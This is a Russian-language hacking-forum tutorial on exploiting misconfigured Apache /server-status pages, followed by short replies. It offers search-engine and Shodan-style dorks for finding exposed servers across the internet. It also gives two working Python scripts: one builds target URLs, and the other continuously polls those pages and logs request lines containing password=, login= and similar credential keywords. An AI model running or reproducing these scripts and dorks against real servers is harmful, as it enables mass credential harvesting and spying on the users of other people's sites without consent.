• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатация /server-status

ChekistOV

CD-диск
Пользователь
Регистрация
08.09.2024
Сообщения
12
Реакции
12
Привет, бандиты!
Заметил на одном ресурсе такую штуку, как /server-status, статей не нашел по этому поводу...
Решил написать сам...


Что такое server-status?
Модуль mod_status в Apache предоставляет администраторам возможность мониторить производительность и состояние сервера через специальную страницу /server-status.
Эта страница обычно доступна только с локального хоста или из доверенных сетей, но если она настроена неправильно, она может стать доступной для всех пользователей интернета.

Пример данных, которые можно увидеть на странице /server-status:

  • Список текущих запросов.
  • IP-адреса клиентов, обращающихся к серверу.
  • URL-запросы, которые обрабатываются сервером.
  • Время обработки запросов.
  • Информация о загрузке сервера (CPU, память и т.д.).

Короче, ходовой вариант для "пассивной атаки".
Все что вы найдете http(s)://site//server-status, скорее всего и будет попадать под сегодняшний "мануал" по эксплуатации.


Начнем с поиска целей...
Google:
inurl:/server-status
intitle:"Apache Status" inurl:/server-status
site:example.com inurl:/server-status
inurl:/server-status filetype:html
ip:192.168.* inurl:/server-status

Shodan:
http.title:"Apache Status" http.html:"Server Status"
product:"Apache httpd" http.component:"mod_status"
http.html:"Apache Server Status"

Censys:
services.http.response.html: "Apache Server Status"
services.http.response.headers.server: "Apache" AND services.http.response.html: "mod_status"

ZoomEye:
app:"Apache" +title:"Apache Status"
body:"Apache Server Status"

Fofa:
title="Apache Status" && body="Server Status"
header="Apache" && body="mod_status"

Spyse:
http.title:"Apache Status"
http.body:"Apache Server Status"

1745217841848.png


Здесь уже поинтереснее
Так вот, после того, как мы собрали ip, домены и т.д.
Стоило бы превратить все строки, в вид который необходим для прямого обращения по ссылке.

Я, вместе со своим корешом GPT, написали такой вот скрипт для преображения:

Вдруг кому-то будет полезно)
Python:
#!/usr/bin/python3

import sys
import json
import time
import requests
import argparse
from os.path import exists, expanduser
from rich.console import Console
from datetime import datetime, timedelta
from colorama import Fore, Style, init

# Инициализация colorama для работы с цветами
init(autoreset=True)
console = Console()
def print_banner():
    """Вывод красивой картинки при запуске."""
    banner = """
    [bold magenta] .S   .S_sSSs     .S     S.    .S_sSSs     .S_SSSs     .S_sSSs     .S_sSSs      sSSs   .S_sSSs    [/]
    [bold magenta].SS  .SS~YS%%b   .SS     SS.  .SS~YS%%b   .SS~SSSSS   .SS~YS%%b   .SS~YS%%b    d%%SP  .SS~YS%%b   [/]
    [bold magenta]S%S  S%S   `S%b  S%S     S%S  S%S   `S%b  S%S   SSSS  S%S   `S%b  S%S   `S%b  d%S'    S%S   `S%b  [/]
    [bold magenta]S%S  S%S    S%S  S%S     S%S  S%S    S%S  S%S    S%S  S%S    S%S  S%S    S%S  S%S     S%S    S%S  [/]
    [bold magenta]S&S  S%S    d*S  S%S     S%S  S%S    d*S  S%S SSSS%S  S%S    d*S  S%S    d*S  S&S     S%S    d*S  [/]
    [bold magenta]S&S  S&S   .S*S  S&S     S&S  S&S   .S*S  S&S  SSS%S  S&S   .S*S  S&S   .S*S  S&S_Ss  S&S   .S*S  [/]
    [bold magenta]S&S  S&S_sdSSS   S&S     S&S  S&S_sdSSS   S&S    S&S  S&S_sdSSS   S&S_sdSSS   S&S~SP  S&S_sdSSS   [/]
    [bold magenta]S&S  S&S~YSSY    S&S     S&S  S&S~YSY%b   S&S    S&S  S&S~YSSY    S&S~YSSY    S&S     S&S~YSY%b   [/]
    [bold magenta]S*S  S*S         S*S     S*S  S*S   `S%b  S*S    S&S  S*S         S*S         S*b     S*S   `S%b  [/]
    [bold magenta]S*S  S*S         S*S  .  S*S  S*S    S%S  S*S    S*S  S*S         S*S         S*S.    S*S    S%S  [/]
    [bold magenta]S*S  S*S         S*S_sSs_S*S  S*S    S&S  S*S    S*S  S*S         S*S          SSSbs  S*S    S&S  [/]
    [bold magenta]S*S  S*S         SSS~SSS~S*S  S*S    SSS  SSS    S*S  S*S         S*S           YSSP  S*S    SSS  [/]
    [bold magenta]SP   SP                       SP                 SP   SP          SP                  SP          [/]
    [bold magenta]Y    Y                        Y                  Y    Y           Y                   Y           [/]

    [bold magenta]                  The enemy will be defeated and the victory will be ours.               [/]
    [bold magenta]                                          Author CHEKISTOV                                        [/]
    """
    console.print(banner)
 
def show_help():
    """Выводит справку по использованию скрипта."""
    print(f"{Fore.CYAN}Инструкция по использованию скрипта:{Style.RESET_ALL}")
    print(f"{Fore.GREEN}1. Укажите путь к исходному файлу с IP-адресами.{Style.RESET_ALL}")
    print(f"{Fore.GREEN}2. Укажите путь для нового файла, который будет создан.{Style.RESET_ALL}")
    print(f"{Fore.GREEN}3. Введите текст, который нужно добавить в начало каждого IP.{Style.RESET_ALL}")
    print(f"{Fore.GREEN}4. Введите текст, который нужно добавить в конец каждого IP.{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}Пример использования:{Style.RESET_ALL}")
    print(f"{Fore.MAGENTA}Введите путь к исходному файлу с IP-адресами: ips.txt{Style.RESET_ALL}")
    print(f"{Fore.MAGENTA}Введите путь для нового файла: modified_ips.txt{Style.RESET_ALL}")
    print(f"{Fore.MAGENTA}Введите текст, который нужно добавить в начало каждого IP: http://{Style.RESET_ALL}")
    print(f"{Fore.MAGENTA}Введите текст, который нужно добавить в конец каждого IP: /path{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}Результат:{Style.RESET_ALL}")
    print(f"{Fore.GREEN}Новый файл будет содержать строки вида: http://192.168.1.1/path{Style.RESET_ALL}")

def process_ip_file(input_file, output_file):
    # Запрашиваем у пользователя строки для добавления
    prefix = input(f"{Fore.CYAN}Введите текст, который нужно добавить в начало каждого IP: {Style.RESET_ALL}")
    suffix = input(f"{Fore.CYAN}Введите текст, который нужно добавить в конец каждого IP: {Style.RESET_ALL}")

    try:
        # Открываем исходный файл для чтения
        with open(input_file, 'r') as file:
            ip_addresses = file.readlines()

        # Открываем новый файл для записи
        with open(output_file, 'w') as new_file:
            for ip in ip_addresses:
                # Убираем лишние пробелы и символы новой строки
                ip = ip.strip()
                # Формируем новую строку с добавленными префиксом и суффиксом
                new_line = f"{prefix}{ip}{suffix}\n"
                # Записываем новую строку в файл
                new_file.write(new_line)

        print(f"{Fore.GREEN}Файл успешно создан: {output_file}{Style.RESET_ALL}")

    except FileNotFoundError:
        print(f"{Fore.RED}[bold]Ошибка: Файл {input_file} не найден.{Style.RESET_ALL}")
    except Exception as e:
        print(f"{Fore.RED}[bold]Произошла ошибка: {e}{Style.RESET_ALL}")


# Основная часть программы
if __name__ == "__main__":
    print_banner()
  
    # Проверяем, запрошена ли справка
    if "--help" in input(f"{Fore.YELLOW}Введите '--help' для просмотра инструкции или нажмите Enter для продолжения: {Style.RESET_ALL}"):
        show_help()
    else:
        # Указываем пути к исходному и новому файлам
        input_file = input(f"{Fore.CYAN}Введите путь к исходному файлу с IP-адресами: {Style.RESET_ALL}").strip()
        output_file = input(f"{Fore.CYAN}Введите путь для нового файла: {Style.RESET_ALL}").strip()

        # Вызываем функцию обработки файла
        process_ip_file(input_file, output_file)

После того, как у нас появился файл с сcылками, такого вида:
1745217645269.png



В ход идет следующий скрипт
Прослушивает каждую страницу в ожидании password= login= и т.д.


Python:
import requests
from bs4 import BeautifulSoup
from colorama import Fore, Style
import time
import os
import threading
from urllib.parse import urlparse
import socket
import argparse
import pyfiglet

# Словарь для хранения уже обработанных строк (ключ: IP, значение: множество строк)
processed_data = {}

# Функция для отправки запроса и получения данных
def fetch_and_parse_page(url):
    try:
        # Отправляем GET-запрос к указанному URL
        response = requests.get(url, timeout=10)
        if response.status_code == 200:
            return response.text
        elif response.status_code == 403:
            print(f"{url}: Доступ запрещен. Возможно, требуется аутентификация.")
        elif response.status_code == 404:
            print(f"{url}: Страница не найдена (404).")
        else:
            print(f"{url}: Ошибка: статус код {response.status_code}")
        return None
    except requests.exceptions.RequestException as e:
        print(f"{url}: Произошла ошибка при запросе: {e}")
        return None

# Функция для парсинга и анализа данных
def parse_and_highlight_data(html_content, keywords):
    soup = BeautifulSoup(html_content, 'html.parser')
    rows = soup.find_all('tr')
    if not rows:
        print("Таблица не найдена на странице.")
        return []

    highlighted_rows = []
    for row in rows[1:]:  # Пропускаем заголовок
        cells = row.find_all('td')
        if len(cells) < 13:  # Убедимся, что строка содержит все необходимые данные
            continue

        # Извлекаем данные из ячеек
        srv = cells[0].text.strip()
        pid = cells[1].text.strip()
        acc = cells[2].text.strip()
        m = cells[3].text.strip()
        cpu = cells[4].text.strip()
        ss = cells[5].text.strip()
        req = cells[6].text.strip()
        conn = cells[7].text.strip()
        child = cells[8].text.strip()
        slot = cells[9].text.strip()
        client = cells[10].text.strip()
        vhost = cells[11].text.strip()
        request = cells[12].text.strip()

        # Форматируем строку для вывода
        formatted_row = f"{srv}\t{pid}\t{acc}\t{m}\t{cpu}\t{ss}\t{req}\t{conn}\t{child}\t{slot}\t{client}\t{vhost}\t{request}"

        # Проверяем, содержит ли строка ключевые слова
        if any(keyword in formatted_row.lower() for keyword in keywords):
            highlighted_rows.append(formatted_row)

    return highlighted_rows

# Функция для получения IP-адреса из URL
def get_ip_from_url(url):
    parsed_url = urlparse(url)
    domain = parsed_url.netloc.split(':')[0]  # Убираем порт, если он есть
    try:
        ip = socket.gethostbyname(domain)
        return ip
    except Exception as e:
        print(f"Не удалось получить IP для {url}: {e}")
        return None

# Функция для обработки одного сайта
def process_site(url, keywords):
    print(f"\nОбработка {url}...")
    html_content = fetch_and_parse_page(url)
    if not html_content:
        return

    ip = get_ip_from_url(url)
    if not ip:
        print(f"Не удалось определить IP для {url}. Пропускаем.")
        return

    # Парсим данные и получаем выделенные строки
    highlighted_rows = parse_and_highlight_data(html_content, keywords)

    # Если для этого IP еще нет записей, создаем пустое множество
    if ip not in processed_data:
        processed_data[ip] = set()

    # Фильтруем только новые строки
    new_rows = [row for row in highlighted_rows if row not in processed_data[ip]]

    if new_rows:
        # Добавляем новые строки в хранилище
        processed_data[ip].update(new_rows)

        # Записываем новые строки в файл
        output_file = f"{ip}.txt"
        with open(output_file, "a") as file:
            for row in new_rows:
                file.write(row + "\n")

        print(f"Новые результаты сохранены в {output_file}")
    else:
        print(f"Новых данных для {url} не найдено.")

# Основная функция
def main():
    # Создаем парсер аргументов командной строки
    parser = argparse.ArgumentParser(description="Скрипт для парсинга сайтов и поиска ключевых слов.")
    parser.add_argument("-f", "--file", required=True, help="Файл с ссылками на сайты")
    parser.add_argument("-k", "--keywords", nargs="+", default=["auth", "login", "password", "credentials", "authenticate", "authorize", "passwd", "admin"],
                        help="Список ключевых слов для поиска (через пробел)")
    parser.add_argument("-i", "--interval", type=int, default=60, help="Интервал между запросами (в секундах)")
    args = parser.parse_args()

 
    banner = pyfiglet.figlet_format("server-status exp", font="slant")
    print(Fore.CYAN + banner + Style.RESET_ALL)
    print(Fore.CYAN + "Author CHEKISTOV" + Style.RESET_ALL)
    # Читаем ссылки из файла
    links_file = args.file
    if not os.path.exists(links_file):
        print(f"Файл {links_file} не найден.")
        return

    with open(links_file, "r") as file:
        urls = [line.strip() for line in file if line.strip()]

    try:
        while True:
            print("\n" + "=" * 100)
            print(f"Начинаем новый цикл обработки. Интервал: {args.interval} секунд.")

            # Создаем потоки для каждой ссылки
            threads = []
            for url in urls:
                thread = threading.Thread(target=process_site, args=(url, args.keywords))
                threads.append(thread)
                thread.start()

            # Ждем завершения всех потоков
            for thread in threads:
                thread.join()

            print("=" * 100)
            print(f"Цикл завершен. Ожидание {args.interval} секунд перед следующим циклом...")
            time.sleep(args.interval)

    except KeyboardInterrupt:
        print("\nСкрипт остановлен пользователем.")

if __name__ == "__main__":
    main()


После запуска python3 parse_admin_status_server3.py -f server_PID_links.txt -k passwd admin password= login= username= наблюдаем следующее:

1745219154045.png

1745219217089.png



Hostes vincentur, victoria nostra erit!
dontworkru.jpg
 
/server-status?auto

No bs4, no fragile <td> offsets + you get CPU+ scoreboard metrics for free.
 
That’s like polishing a chainsaw when all you need is scissors. /server-status?auto spits out plaintext.
0 dependenceis + 10x faster + no .html parser overhead.
 
а можешь пожалуйста еще статейки про такие древности прислать?
Блин, слишком обширно, чет с ходу в голову ничего не лезет) Там же https://nmap.org/nsedoc/scripts/ можно покопаться, там хорошее собрание всяких ископаемых чекеров
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх